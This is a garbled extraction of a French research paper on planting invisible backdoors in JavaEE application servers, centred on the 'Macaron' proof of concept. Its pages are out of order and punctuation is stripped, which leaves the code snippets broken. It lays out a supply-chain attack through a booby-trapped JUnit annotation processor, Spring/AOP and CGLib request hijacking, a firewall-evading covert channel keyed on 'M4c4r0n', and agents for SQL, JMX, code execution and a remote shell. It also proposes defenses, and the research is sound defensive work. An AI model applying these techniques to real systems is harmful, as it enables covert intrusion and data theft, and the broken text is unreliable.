Imaginons Jerome K un developpeur inconvenant drsquoune SSII participant a unprojet Web pour le compte drsquoune banque Soucieux de la securite cette derniere a misen place de nombreux filtres pour la renforcer Le code source est audite a la main les hashs SHA des archives sont verifiees au sein des WAR le developpement nrsquoapas acces a la production le code est recompile dans un environnement inaccessiblea lrsquoequipe de developpement en utilisant un repository Maven interne de referenceLe code est scelle et nrsquoutilise pas les annotations pour declarer les Servlets ou lesfiltres car le fichier webxml doit avoir le parametre metadata-complete Les classesannotees de ServletFilter Servlet ou autres ne doivent pas etre presentes et sontidentifiees par les outils drsquoaudits Le code srsquoexecute avec la securite java active Unmecanisme de teinture des variables est utilise dans la JVM pour eviter les injectionsSQL LDAP XSS CSRF etc Un pare-feu applicatif possede une liste blanche desrequetes possibles de lrsquoapplication avec une liste precise de tous les champs avecleurs types et leurs contraintes Bien entendu un pare-feu reseau nrsquoautorise que lescommunications HTTP et HTTPS via un reverse-proxy
Pour introduire la porte derobe Jerome K le pirate decide drsquointervenir surlrsquoarchive Junitjar En effet cette derniere presente deux avantages Elle est mondiale-ment connue et donc de confiance et elle ne sert que pour les tests unitaires doncelle ne presente pas de risque en production
P Prados 445
La version modifiee de cette archive doit remplacer la version du referentiel delrsquoentreprise Pour obtenir cela Jerome K demande de lrsquoaide a Adrian L lrsquoadministra-teur ayant le droit de modifier le referentiel Il lui demande de compiler un code javaen utilisant une archive piegee avec un processeur JSR269 Lors de la compilation surle poste de lrsquoadministrateur le fichier Junitjar du repository Maven et sa signatureSHA sont modifies en toute discretion La date du fichier indique une periode ouJerome K nrsquoetait pas present Il nrsquoest meme pas necessaire drsquoexecuter le programmeSeul le resultat de la compilation est sujet a discussion entre Jerome K et Adrian Lpour demander des eclaircissements sur un message drsquoerreur
Jerome K ajoute a lrsquoarchive JUnit un processeur compatible JSR269 afin depouvoir intervenir lors drsquoune compilation Ce processeur ajoute du code lors de lacompilation mais uniquement si celle-ci est effectuee sur la machine srsquooccupantdu build final (detection par sous-reseau) Ainsi rien nrsquoest visible dans toutes lesgenerations produites en phase de debug ou de qualification Le processeur nrsquoestpas utilisable lors drsquoune compilation avec Eclipse Lors de la compilation finale duprogramme par Ant ou Maven le processeur ajoute un ResourceBundle un BeanInfoou plus discretement injecte du code directement dans un fichier classe produit parle compilateur Il ajoute egalement dans un repertoire charge en classes les classescomplementaires pour les agents de la porte derobee Le processus de build invoquesans le savoir le processeur present dans Junit et modifie les classes produites sansmodifier les sources
Aucune librairie utilisee par lrsquoapplication nrsquoest modifiee Un audit du source nedonne rien ni la verification des hashs SHA des composants Aucune annotationsensible nrsquoest presente macaron-audit sur le fichier WAR ne signale rien non pluscar lrsquoattaque est specifique a un projet
En production le code injecte recupere le ServletContext soit directement lors delrsquoexecution du code injecte soit via une variable de thread comme le propose SpringPuis il ajoute dynamiquement un filtre JavaEE via les API Servlet 30 Ainsi lefichier webxml nrsquoa pas ete modifie et il nrsquoexiste pas drsquoannotations sensibles
Le filtre reste inactif pendant un mois afin de ne rien reveler Puis il se met aaccepter un mot de passe a usage unique changeant toutes les heures Sur la presencede ce mot de passe dans une requete POST la porte est ouverte Comme la portederobee utilise des requetes standards avec des champs connus le pare-feu applicatifne voit rien drsquoanormal Le trafic reseau etant standard et raisonnable en volume rienne clignote dans le pare-feu reseau
Pour communiquer avec la porte derobee Jerome K utilise une connexion anonymecomme TOR ou un proxy ouvert Pour eviter une reconstitution du trafic reseau lacommunication avec la porte derobee srsquoeffectue avec un algorithme de chiffrement
446 Porte derobee dans les serveurs drsquoapplications JavaEE
dont la clef change regulierement Comme le code de la porte derobee nrsquoindique pasles objectifs de lrsquoattaque il sera plus difficile de connaıtre les motivations de JeromeK en cas de decouverte
Par hasard lrsquoadministrateur Serge H decouvre un nombre anormal de requetesvers certaines pages pour la meme session Est-ce un code AJAX du projet Est-ceautre-chose Ayant eu la chance drsquoavoir enregistre toutes les requetes POST ildecouvre une utilisation etrange drsquoun des champs Les requetes sont toutes semblablessauf pour un seul champ Lrsquoouverture semble avoir commencee avec un mot specialdans ce dernier Il essaye lui-meme cette valeur mais cela ne donne rien Il ne sert arien de la detecter dans le pare-feu car la clef change toutes les heures
Il essaye de reconstituer la communication qui semble etre codee en b64 ou hexamais cela ne donne rien Elle est cryptee Il aurait fallu avoir une trace de toutes lesreponses pour comprendre les actions de Jerome K Il ne sert a rien de renforcer lesverifications des champs sur la page utilisee car le pirate peut exploiter toutes lespages du serveur ce que confirment drsquoautres traces a un autre moment
Comme il le presageait les adresses IP sources ne donnent rien Elles changent etviennent de tous les coins du monde
Kevin M un expert en securite est mandate avec pour objectif de bloquerrapidement la porte de decouvrir comment elle a ete injectee et par qui
Le code est a nouveau audite pour essaye de decouvrir drsquoou vient le probleme Lessources et les archives ne revelent rien Il faut decompiler tout le code pour decouvrirla porte derobee Mais drsquoou vient-elle Ce nrsquoest pas dans les sources ni dans lescomposants Kevin M recupere le tout et recompile sur un poste isole La porte nrsquoestpas presente dans le WAR final Etrange Finalement il refait un build depuis laplate-forme de qualification et decouvre que la porte derobee est automatiquementinjectee Il recherche une faille sur cette plate-forme sans resultat Il redeploie laplate-forme avec les fichiers sources originaux meme resultat la porte est present Ilutilise un autre serveur vierge du meme sous-reseau recupere les sources et recompileLa porte est toujours presente
De guerre lasse il utilise a nouveau macaron-audit mais cette fois sur toute laplate-forme et non uniquement sur le WAR produit Il decouvre alors un serviceetrange dans Junit archive negligee lors de la verification des hashs car elle nrsquoest paspresente en production Remontant alors la piste il decouvre que la version de Junitdans le repository a ete deposee par Adrian L lrsquoadministrateur il y a plusieurs moisCe dernier homme de confiance soupconne qursquoil ait ete victime drsquoun virus ou drsquouncheval de Troie mais ignore comment cela a pu se produire Un audit de son postene revele rien drsquoanormal
P Prados 447
Pour corriger le probleme Kevin M decide de restituer lrsquoarchive originale deJunit et de renforcer la securite du referentiel Maven de lrsquoentreprise Une signaturenumerique est ajoutee a chaque archive La procedure de qualification est renforceeUn macaron-audit sera dorenavant entrepris sur tout le projet Les compilations serontdorenavant toujours effectuees avec le parametre -proc none Kevin M est incapabledrsquoidentifier le pirate Il sait simplement qursquoil a du etre present dans lrsquoentreprise etdoit certainement connaıtre le projet
Ce scenario fonctionne avec les Servlet 30 et un JDK6+ Crsquoest a dire que plus lestechnologies progressent plus il est facile drsquoinjecter une porte derobee
8 Conclusion
Nous avons demontre qursquoil est possible en utilisant differentes techniques de piegesdrsquoinjections de code ou drsquoexploitations de privileges drsquoajouter une porte derobeeinvisible dans un projet JavaEE Nous avons identifie les strategies drsquoattaques etpropose des solutions pour reduire les risques Trois utilitaires permettent drsquoeffectuerun audit du code de le renforcer et drsquoextraire les rares privileges a accorder
httpmacarongooglecodecom
Dans lrsquoideal il faut faire evoluer la culture Java pour que les projets utilisent lescellement de tous leurs packages et travaillent systematiquement avec la securiteJava2 lors des phases de developpement
A ce jour le seul moyen drsquointerdire toutes les attaques identifiees est ndash drsquoutiliser la securite Java2ndash de sceller toutes les archives ndash drsquoutiliser les patchs pour ResourceBundle et ServiceLoader ndash de compiler avec le parametre -procnone
ndash et de ne pas utiliser lrsquoAOPLa signature des archives et lrsquoaudit humain est egalement un moyen de proteger
les referentiels Java offre des solutions de signature mais elles sont peu utiliseesPour une plus grande securite il faut les exploiter
P Prados 403
Deux techniques permettent de se proteger de ces attaques declarer lrsquoattribut_singleton en final ou utiliser la securite Java2 Il faut en effet beneficier du privilegesuppressAccessChecks pour pouvoir modifier un attribut prive
Parfois les singletons nrsquoimplementent pas drsquointerfaces
public class Singleton
private static Singleton theSingleton=new Singleton ()
public static Singleton getSingleton ()
return _singleton
En exploitant la librairie CGLib si elle est disponible dans le projet il est toujourspossible de detourner les traitements du singleton
public static void hackCGLibSingleton(
final Object singleton
String singletonField)
throws NoSuchFieldException IllegalAccessException
Field field = singletongetClass ()
getDeclaredField(singletonField)
fieldsetAccessible(true)
fieldset(
null Enhancercreate(singletongetClass ()
new MethodInterceptor ()
public Object intercept(Object obj
Method method
Object [] args
MethodProxy proxy)
throws javalangThrowable
Inject code here
return proxyinvoke(singleton args)
))
hackCGLibSingleton(SingletongetSingleton () _singleton)
Pour eviter cette attaque il faut que la classe du singleton soit final afin drsquointerdirelrsquoheritage ou utiliser la securite Java2
Comme il est possible de detourner les invocations de toutes les methodes drsquounsingleton le developpeur inconvenant va rechercher les singletons permettant drsquoobtenirla requete et la reponse drsquoune requete HTTP Ainsi il peut detecter lrsquoouverture de laporte derobee lors de lrsquoutilisation du singleton
Les frameworks drsquoAOP utilisent des singletons pour lrsquoinjection du code Moyennantla presence de CGLib il est theoriquement possible drsquointervenir sur le traitement
404 Porte derobee dans les serveurs drsquoapplications JavaEE
drsquoune injection apres le demarrage de lrsquoapplication AspectJ utilise un singletonpublic mais final interdisant cette attaque
Cela confirme que lrsquoutilisation de singletons presente un risque pour les projetsLrsquoutilitaire Google Singleton Detector4 peut identifier les risques dans les projets
Injection des composants Spring Le framework Spring initie les singletons delrsquoapplication a lrsquoaide du concept drsquoinversion de controle Crsquoest a dire que les composantsne recherchent pas leurs composants lies crsquoest le framework Spring qui se charge deleur fournir Lrsquoinitialisation des composants de Spring correspond a la creation drsquoungroupe de Singletons lies entre eux Il est donc interessant de verifier qursquoil nrsquoestpas possible de detourner le traitement drsquoune requete HTTP
Le framework Spring propose differents sous-frameworks dont une couche MVC(Modele Vue Controleur) permettant de gerer les requetes Web Avec ce dernier ilest possible drsquoinjecter un AutoProxy dans les controleurs du MVC afin drsquoavoir lamain sur toutes les requetes HTTP
Component
Aspect
public static class AspectSpring
Around(execution(public orgspringframeworkwebservletModelAndView
(javaxservlethttpHttpServletRequest
javaxservlethttpHttpServletResponse)))
public Object mvc(ProceedingJoinPoint pjp)
throws Throwable
pjpproceed ()
Inject code here
Toutes les requetes destinees aux controleurs commenceront par un petit tour versle code de la porte derobee
De meme il est possible drsquoajouter un interceptor en charge de detourner letraitement des requetes HTTP
Component(RegisterInterceptorRegisterInterceptorName)
public class RegisterInterceptor
extends BeanNameAutoProxyCreator
Component(BackDoorInterceptorInterceptorName)
static public class BackDoorInterceptor
implements MethodInterceptor
private static final
4 httpcodegooglecompgoogle-singleton-detector
P Prados 405
String InterceptorName=Interceptor
public Object invoke(MethodInvocation i)
throws Throwable
final Method method=igetMethod ()
final Type[] args=
methodgetGenericParameterTypes ()
if ((argslength ==2) ampamp
(args [0]== HttpServletRequestclass) ampamp
(args [1]== HttpServletResponseclass))
Inject code here
return iproceed ()
private static final
String RegisterInterceptorName=registerInterceptor
public RegisterInterceptor ()
setBeanNames(new String [])
setInterceptorNames(
new String []
BackDoorInterceptorInterceptorName )
Pour que cela fonctionne il faut que lrsquoinitialisation de Spring analyse le pack-age ou la classe est presente Cela srsquoeffectue par une instruction dans le fichier-dispatch-servletxml
ltcontextcomponent -scan base -package=comgooglecodemacaron gt
Une troisieme approche consiste a declarer un ltbeangt implementant lrsquointerfaceBeanPostProcessor Il est alors possible drsquointervenir sur les beans implementantlrsquointerface HandlerMapping pour modifier le comportement de la methode getHandler(
HttpServletRequest request)Si nous desirons une attaque generique ne dependant pas drsquoun nom de package
specifique a un projet il faut modifier lrsquoanalyse du fichier XML a la volee pour yinjecter dynamiquement la declaration drsquoun nouveau ltbeangt
A lrsquoheure ou nous redigeons ces lignes cette attaque ne necessite aucun privilegeparticulier pour etre effective Elle ne peut etre contree Nous proposons une solutionet un patch du JDK6 pour corriger cela
Injection par declaration drsquolaquo Aspect raquo Une autre technologie se democratise laprogrammation par aspect Il srsquoagit drsquoajouter au programme des regles de transforma-tions et de tissage de code fondees sur la structure du programme La programmation
406 Porte derobee dans les serveurs drsquoapplications JavaEE
par aspect permet naturellement lrsquoinjection de code dans lrsquoapplication Cette evolutiondu langage peut etre presente globalement a lrsquoaide drsquoun parametre de la JVM
java -javaagentaspectjweaverjar
Nous avons montre comment cette technique permet a un piege de lrsquoapplicationdrsquoexecuter du code a lrsquoinsu du projet Elle permet egalement lrsquoinjection de traitementslors des requetes HTTP
Tous les flux de traitement vers les requetes ou les fichiers JSP peuvent etredetournes
Aspect
public static class BackDoorAspect
Around(execution(void doGet ()) +
|| execution(void doPost ()) +
|| execution(void service ()) +
|| execution(void _jspService ()))
public void backdoor(ProceedingJoinPoint pjp)
throws Throwable
pjpproceed ()
Inject code here
Ainsi toutes les servlets et toutes les JSP du serveur drsquoapplication seront sous lecontrole de la porte derobee
Il nrsquoexiste pas de technologie pour bloquer cette attaque
Injection Servlet 30 Les dernieres specifications des servlets permettent naturelle-ment lrsquoinjection de filtre Le chargeur de classe drsquoune application Web regarde toutesles classes implementant les interfaces suivantes pour y decouvrir eventuellement desannotations
ndash javaxservletServletndash javaxservletFilterndash javaxservletServletContextListenerndash javaxservletServletContextAttributeListenerndash javaxservletServletRequestListenerndash javaxservletServletRequestAttributeListenerndash javaxservlethttpHttpSessionListenerndash javaxservlethttpHttpSessionAttributeListenerLors de la presence drsquoune annotation WebFilter ce dernier est ajoute automa-
tiquement comme srsquoil etait present dans le fichier webxml
P Prados 407
Comme les algorithmes a la recherche des annotations doivent parcourir toutes lesclasses ils sont optimises et utilisent parfois des raccourcies Par exemple lrsquoalgorithme5
utilise par GlassFish recherche simplement la presence drsquoune chaine de caracterecorrespondant au nom de lrsquointerface dans le pool de constante une chaine de la formeLjavaxservletannotationWebServlet Si une classe utilise cette chaine decaractere pour autre chose sans etre pour autant une servlet elle sera considereecomme possedant cette annotation Les outils drsquoaudits doivent tenir compte de ceraccourci
Pour eviter cette decouverte automatique des filtres il faut ajouter le parametremetadata-complete dans le fichier webxml
Injections lors de la compilation Le JSR269 permet drsquoajouter des Processors
lors de la compilation drsquoun code java A partir de la version 6 de la JVM sur lapresence drsquoune annotation un code java prend la main lors de la compilation pourgenerer drsquoautres classes ou des fichiers de ressources Pour que cela fonctionne il fautposseder une archive dans le CLASSPATH lors de la compilation Cette derniere doitpresenter le service javaxannotationprocessingProcessor comme indique auchapitre laquo Injections lors de la compilation raquo
Avec cette approche il est possible drsquointervenir sur le code final de lrsquoapplicationmeme avec une archives presente uniquement pour les tests unitaires
Lrsquoajout ou la modification de classe est possible Il est donc envisageable drsquointer-venir sur une classe compilee pour modifier son comportement soit en injectant ducode directement dans la classe soit en replacant tout simplement le fichier class
SupportedAnnotationTypes()
SupportedSourceVersion(SourceVersionRELEASE_6)
public class Processor extends AbstractProcessor
private static boolean onetime=false
public boolean process(
Set lt extends TypeElement gt annotations
RoundEnvironment rndEnv)
Filer filer = processingEnvgetFiler ()
Messager messager = processingEnvgetMessager ()
Elements eltUtils =
processingEnvgetElementUtils ()
if ( rndEnvprocessingOver () ampamp onetime)
onetime=true
try
final String filterClass=
Filter3classgetName ()
5 httptinyurlcomc9dzao
408 Porte derobee dans les serveurs drsquoapplications JavaEE
JavaFileObject jfo=
filercreateClassFile(filterClass)
InputStream in=
FilterclassgetClassLoader ()
getResourceAsStream(
filterClassreplaceAll()+class)
OutputStream out=jfoopenOutputStream ()
final byte[] tampon=new byte [4096]
int len
while ((len = inread(tampon)) gt 0)
outwrite(tampon 0 len)
outclose()
inclose ()
catch (Throwable x)
Ignore
return true
Drsquoautres pistes sont possibles comme la copie de lrsquoarchive de la porte derobe lorsde la compilation a partir drsquoune version presente uniquement pour les tests unitaires
Lors drsquoune compilation par Maven ou Ant par exemple le processeur est invoquepour compiler les classes du projet et les classes des tests unitaires Le processeurpeut alors entrer en action pour intervenir sur le repertoire target avant la creationde lrsquoarchive du projet
Cette attaque peut etre exploitee pour toutes applications Java et permettredrsquoinjecter une porte derobe dans une carte a puce
Pour interdire cela il faut ajouter le parametre -proc none lors de la compilation
Drsquoautres approches Dans certaines conditions particulieres drsquoautres approchessont possibles comme la modification a chaud drsquoune classe via lrsquoapi JPDA (JavaPlatform Debugger Architecture) Il faut pour cela beneficier de lrsquoarchive toolsjar duJDK et que la JVM soit lancee en mode debug via le reseau
25 Detection de lrsquoouverture de la porte
Le code de la porte derobee etant execute a chaque requete HTTP a lrsquoaide drsquouneValve Tomcat drsquoun filtre JavaEE drsquoune injection AOP drsquoun Auto-Proxy ou drsquouninterceptor Spring il est possible drsquoanalyser tous les champs des formulaires Surla presence drsquoune clef dans un champ quelconque drsquoun formulaire la porte derobeedetourne le traitement
P Prados 409
Nous proposons un code de demonstration de ces attaques Il srsquoagit de placer unesimple archive dans le repertoire WEB-INFlib Il faut ensuite utiliser le mot Macaronen ecriture Leet6 (laquo M4c4r0n raquo) dans nrsquoimporte quel champ de lrsquoapplication pourlrsquoexecuter
26 Communication discrete
Ce chapitre decrit la couche de communication mise en place par la demonstrationVous pouvez sauter directement vers le chapitre laquo Demonstration raquo
Maintenant que le flux est detourne il faut faire preuve de discretion pourcommuniquer avec la porte derobee Le code ne doit pas etre detecte par les pare-feureseaux ni par les pare-feu applicatifs (WAF)
Les pare-feu applicatifs detectent ndash Les URLs utilisees via une liste blanche ndash La liste des champs pour chaque URLs et les contraintes de format (chiffrelettre
taille etc) ndash La vitesse des requetes (plus de 120 requetes par minutes ou plus de 360 requetes
en cinq minutes) ndash La taille limite des reponses (512Ko) ndash La presence de mots clefs specifiques dans les pages de reponses (liste noire)La porte derobee doit contourner toutes ces verifications Pour cela le filtre utilise
une URL standard de lrsquoapplication celle utilisee pour inserer la clef La requetedrsquoouverture est conforme aux contraintes si le champ choisi pour utiliser la clefaccepte des caracteres et des chiffres
La communication srsquoeffectue en remplissant un formulaire avec une valeur specialerespectant les contraintes du champ (type de caractere et taille du champ)
Les agents de la porte derobee nrsquoutilisent alors que cette URL en soumettanttoujours le meme formulaire avec les memes valeurs sauf pour un seul champ quisert de transport Ce dernier ne doit pas violer les contraintes du champ
La figure 6 indique le cheminement de la communicationLors de la soumission drsquoun formulaire le traitement est detourne vers la porte
derobee Une page specifique est renvoyee Cette derniere communique avec le code dela porte derobee a lrsquoaide de requetes AJAX afin drsquoinjecter dans la page les resultatsdes traitements au format XML
Une ecoute des trames reseau lors drsquoune communication avec la porte derobee faitapparaıtre des soumissions regulieres drsquoun formulaire dont un seul champ evolue Sila requete est de type POST il est peu probable que cela soit enregistre dans les logs
6 httpfrwikipediaorgwikiLeet_speak
410 Porte derobee dans les serveurs drsquoapplications JavaEE
Fig 6 Communication de la porte derobee
Toutes les manipulations de la porte derobee utilisent des trames portees par unchamp de formulaire HTML Une taille limite nrsquoest jamais depassee pour ce dernier
La grammaire des trames est la suivante
ltM4c4r0n gtlta|bgtltdata gt
Elle est precisee ci-dessousComme les trames ne doivent depasser une certaine taille le caractere apres la
clef laquo M4c4r0n raquo indique si la trame est terminee (a) ou si elle doit etre completeepar drsquoautres trames (b)
Les caracteres suivants servent de charge utile a la trame Le contenu est au formatASCII en b64 ou hexadecimal suivant le parametrage de la porte derobee
La charge utile des trames est alors analysee comme une commande a executerDes pages HTML specifiques sont retournees Elles utilisent la technologie AJAX pourcommuniquer Les pages sont autonomes Elles integrent les feuilles de styles et lesscripts mais evitent les images (sauf au format data ) afin de reduire le nombre derequetes HTTP Une seule requete drsquoouverture de la porte derobee permet drsquoobtenirun agent fonctionnel Les pare-feu applicatifs ne verifient generalement pas le formatdes pages en retour
Le flux drsquoemission AJAX est ralenti en termes de trafic reseau pour ne pas eveillerles soupcons
P Prados 411
Une requete specifique conf permet drsquoindiquer le format drsquoencodage et la taillemaximum drsquoune trame a ne pas depasser Elle a le format suivant
ndashndash La clef en lrsquooccurrence laquo M4c4r0n raquo ndash Le caractere de fin de trame (laquo b raquo) ndash Le mot clef de la commande laquo conf raquo ndash Un caractere indiquant si lrsquoencodage doit etre hexadecimal ou base64 (laquo h raquo ou
laquo b raquo) ndash Un nombre indiquant la taille maximum des trames ndash Le caractere laquo W raquo comme separateur ndash Un nombre indiquant en second la frequence drsquoemission des trames
Par exemple pour demander lrsquoinitialisation de la porte derobee en utilisantlrsquoencodage hexadecimal une taille maximal des trames de 30 caracteres et un poolde 3 secondes il faut valoriser un champ de formulaire texte drsquoune vingtaine decaracteres comme le montre la figure 7
Fig 7 Configuration
Cela ouvre la porte tout en parametrant les communications futures Par defautlrsquoencodage est en base64 les trames ne depassent pas 80 caracteres et le pool est dedeux secondes Il est donc recommande de choisir un champ suffisamment grand pourrecevoir tous ces caracteres
27 Le scenario drsquoexecution
Le scenario drsquoexecution de la porte derobee est le suivant
ndash Etape 1 Declenchement du piegendash Etape 1bis Si necessaire augmentation des privileges en utilisant une tech-
nologie drsquoexecution implicite Puis attente drsquoun redemarrage du serveur drsquoappli-cation
ndash Etape 2 Injection drsquoun filtre sur toutes les requetes HTTP ndash Etape 3 Analyse de toutes les requetes pour detourner le flux de traitement
des requetes lors de la presentation de la clef
412 Porte derobee dans les serveurs drsquoapplications JavaEE
28 Les agents
Differents agents sont proposes par la porte derobee
ndashndash Un agent memorisant les dernieres requetes sur le serveur ndash Un agent JMX pour manipuler le serveur drsquoapplication ndash Un agent JNDI pour consulter lrsquoannuaire de la configuration ndash Un agent SQL pour manipuler la base de donnees ndash Un agent Javajavascript pour compiler et executer dynamiquement du code ndash Un agent Shell pour srsquoamuser
Fig 8 History
Agent History Cet agent permet de memoriser les dernieres requetes avec leursparametres quelque soit lrsquoutilisateur Il peut permettre de decouvrir des informationsconfidentielles soumises par drsquoautres utilisateurs
Agent JNDI Cet agent permet de naviguer dans lrsquoarbre JNDI lrsquoannuaire des objetsdes applications JavaEE Les ordres possibles sont
cd ltjndi_name gt
ls
dump ltjndi -name gt
P Prados 413
Fig 9 JNDI
La commande dump permet si possible de serialiser lrsquoobjet et drsquoafficher une vuehexadecimale du resultat Cela permet parfois de trouver des mots de passes
Agent JMX Cet agent permet de naviguer dans lrsquoarbre JMX lrsquoarbre de gestion desobjets du serveur Les ordres permettent de consulter ou de modifier les attributset drsquoinvoquer des traitements Lrsquoergonomie proposee ressemble a un shell avec unesyntaxe specifique Les ordres possibles sont
cd ltJMX name gt
ls
ltattr gt=ltvaleur gt
method(ltparams gt)
Agent JDBC Cet agent utilise la connexion a la base de donnees declaree dans lefichier webxml ou specifiee en ligne de commande Il permet drsquoinvoquer toutes lesrequetes SQLs autorisees par la connexion Si elles commencent par select lrsquoagentaffiche un tableau avec le resultat Sinon il execute le traitement et retourne un statut
La commande jndi ltkeygt permet drsquoutiliser une autre clef JNDI pour acceder ala base de donnees
Tous les privileges accordes a lrsquoapplication sont disponibles Il ne faut pas longtempsensuite pour les augmenter et attaquer le serveur de la base de donnees Les publica-tions sur les SQLs injections peuvent etre une source drsquoinspiration
414 Porte derobee dans les serveurs drsquoapplications JavaEE
Fig 10 JMX
Fig 11 JDBC
P Prados 415
Fig 12 JavaJavascript
Agent JavaJavascript Cet agent permet drsquoexecuter du code java ou javascriptsur le serveur
Pour lrsquoutilisation de Java le code est integre dans un fichier source java puiscompile avec le compilateur trouve sur place cote serveur Le code compile est injectedans le serveur a lrsquoaide drsquoun chargeur de classe puis execute Le resultat est retourneau navigateur
Si le code se termine par un rsquo rsquo ou rsquorsquo il est execute Sinon il est evalueLe code utilise le compilateur integre a Jasper le compilateur de JSP Srsquoil nrsquoest
pas present il exploite le compilateur du JDK disponible Si ce dernier nrsquoest paspresent car lrsquoapplication utilise un JRE le code recherche lrsquoarchive toolsjar pourlrsquoinjecter et lrsquoutiliser Il est rare de ne pas pouvoir compiler une classe dynamiquementsur le serveur
Pour lrsquoutilisation de Javascript le code utilise lrsquoimplementation Rhino presenteavec le JDK
Deux variables sont disponibles ndash request La requete HTTPndash out un flux dont le resultat sera affiche dans le navigateur
Agent laquo shell raquo Cet agent lance un shell sur le serveur et offre une interface similairedans le navigateur Des requetes periodiques permettent de recuperer les modificationsdrsquoetats dans le shell du serveur Il srsquoagit drsquoun simple shell TTY et non drsquoun shellANSI
416 Porte derobee dans les serveurs drsquoapplications JavaEE
Fig 13 Shell
Comme la porte derobee propose des agents generiques il nrsquoest pas possiblede connaıtre les motivations du pirate lors de sa decouverte Souhaite-il recupererdes informations confidentielle abuser des services de lrsquoapplication srsquoinjecter sur leserveur rebondir vers drsquoautres cibles
3 Demonstration
Pour illustrer cette etude un code de demonstration est propose Il srsquoagit drsquounearchive Java a placer dans le repertoire WEB-INFlib drsquoun composant Web Differentestechniques sont utilisees pour decouvrir les vulnerabilites efficaces dans lrsquoenviron-nement drsquoexecution
Le code commence par etre declenche par un piege (META-INFservices Resource-Bundle Annotation fichier de parametres etc) Puis le code attend quelques secon-des avant de demarrer pour ne pas interrompre lrsquoinitialisation du serveur si necessaire
Si la programmation par Aspect est possible et globale a toute la JVM le codeinstalle un filtre AOP sur toutes les servlets et toutes les JSP lors de leur chargementen memoire
Si la programmation par Aspect nrsquoest pas possible et que Spring est utilise le codeinstalle un bean Spring en detournant le parseur DOM Ainsi tous les controleurs duframework MVC peuvent ouvrir la porte derobee
Si Spring et lrsquoAOP ne sont pas presents le code essaye drsquoinjecter directementdes Valves Tomcat via JMX Sous Tomcat 5x cela est possible si le parametreltContext privileged=truegt est present Sous Tomcat 6x cela est toujours possible si lasecurite Java2 nrsquoest pas activee
P Prados 417
Si le moteur est compatible Servlet 30+ un filtre est declare via une annotationServletFilter Il est decouvert par le moteur JavaEE et installe discretement
Si cela ne fonctionne toujours pas le code essaye drsquoaugmenter ses privileges enrecopiant lrsquoarchive de la porte derobee dans un repertoire du serveur drsquoapplicationLe code srsquointerrompt alors pour attendre un redemarrage
Si lrsquoaugmentation de privilege nrsquoest pas possible ou nrsquoest pas appropriee pour leserveur drsquoapplications le code essaye de modifier le fichier webxml du repertoirede travail de Tomcat pour injecter un filtre JavaEE puis le code srsquoendort jusqursquoauprochain depart du serveur drsquoapplications
Ce scenario permet une installation de la porte derobee dans differentes situationsavec ou sans la securite Java2 activee avec plus ou moins de privileges
Au redemarrage du serveur drsquoapplicationsndash si lrsquoarchive a pu etre recopiee dans un repertoire du serveur drsquoapplications pour
augmenter les privileges le code utilise un ResourceBundle utilise par ce dernierpour installer effectivement la porte derobee a lrsquoaide de Valves
ndash si le fichier webxml a ete modifie lors de la premiere etape le serveur drsquoapplica-tions installe le filtre JavaEE
Si la securite Java2 est active et sans privilege particulier accordee a lrsquoarchivede la porte derobee le code est quand meme capable de srsquoinjecter Il faut que lecomposant WAR utilise Spring Lrsquoattaque exploite uniquement la redefinition delrsquoanalyseur XML DOM Nous proposons plus bas une solution pour interdire cela
31 Execution
Que la requete entre dans une Valve un filtre J2EE un PointCut Interceptorou AOP la porte derobee analyse tous les champs des formulaires Si elle trouve lavaleur M4c4r0n elle detourne le traitement pour executer un agent
La couche de transport analyse le suffixe apres la clef pour selectionner lrsquoagent Sila requete nrsquoest pas terminee elle alimente un tampon en memoire et retourne unepage vierge Sinon la requete est traitee et deleguee a lrsquoagent correspondant
Chaque agent utilise un protocole qui lui est propre
32 Executer la demonstration
Les demonstrations sont toutes fondees sur la meme approche Telecharger uncomposant WAR sur le net ajouter lrsquoarchive de la porte derobee dans le repertoireWEB-INFlib et installer le composant dans le serveur drsquoapplication
Voici des exemples que vous pouvez utiliser ndash httptomcatapacheorgtomcat-55-docappdevsamplesamplewar
418 Porte derobee dans les serveurs drsquoapplications JavaEE
ndash httphomepagentlworldcomrichard_c_atkinsonjfreechartjfreechart-sample
war
ndash httpwwwspringsourceorgdownload
Apres le telechargement utilisez un editeur drsquoarchives ZIP ou une console
$ wget http tomcatapacheorgtomcat -55-docappdevsamplesamplewar
$ mkdir -p WEB -INFlib
$ mv macaron -backdoor jar WEB -INFlib
$ jar -uf samplewar WEB -INF
$ cp samplewar $CATALINA_HOMEwebapps
Pour eviter toute utilisation malheureuse du code ce dernier ne srsquoexecute pas siquelques conditions ne sont pas reunies Il faut declarer la variable drsquoenvironnementmacaron-backdoor avant de lancer le serveur drsquoapplication
export JAVA_OPTS = $JAVA_OPTS -Dmacaron -backdoor=i-take -responsibility -for -my-
actions
Si de plus vous utilisez la securite avec Tomcat il faut ajouter trois privilegesdans le fichier $CATALINA HOMEconfcatalinapolicy dans la section grant
grant
Pour Macaron Backdoor
permission javautilPropertyPermission macaron -backdoorread
permission javalangRuntimePermission createClassLoader
permission javalangRuntimePermission getProtectionDomain
Notez que ces trois parametres ne sont pas necessaires avec la version non protegeequi nrsquoest pas publique
Puis lancez Tomcat
$ $CATALINA_HOMEbincatalinash run -security
Attendez trente secondes que la porte derobee soit bien en place puis avecun navigateur consultez le site Dans un champ de formulaire indiquez le mot depasse laquo M4c4r0n raquo ou ajoutez a lrsquoURL drsquoune page param=M4c4r0n
33 Diffusion du code
La librairie Macaron est un bon exemple de ce que peut faire un developpeurinconvenant Pour verifier que les protections sont en place il faut les challenger Lademonstration proposee sert a cela (Proof of Concept) Elle permet de qualifier unenvironnement en injectant volontairement cette archive pour en mesurer lrsquoimpact
P Prados 419
La librairie est diffusee a lrsquoaide drsquoune archive non hostile Les sources ne sont paspubliques
Pour eviter des usages malvenus le code est techniquement protege contre lade-compilation Un pirate etant capable de le de-compiler est capable de lrsquoecrire etcela plus rapidement Le code est volontairement tres verbeux Les logs recoivent unmessage signalant clairement sa presence et ce qursquoil fait Cela facilite sa detection eteclaire sur les vulnerabilites
La clef drsquoacces est codee en laquo dur raquo et ne peut pas etre modifiee facilement Unesimple regle du pare-feu permet alors drsquointerdire son usage depuis le reseau Il suffitde detecter le mot laquo M4c4r0n raquo pour couper la communication
Pour resumer ndash Ce code ne doit pas etre utilise en production ndash Il permet de qualifier la securite de la production
4 Propagation
Les projets etant de plus en plus dependants de composants eux-memes dependantsdrsquoautres composants il est souvent difficile drsquoajouter toutes les archives avec les bonnesversions pour que le projet fonctionne
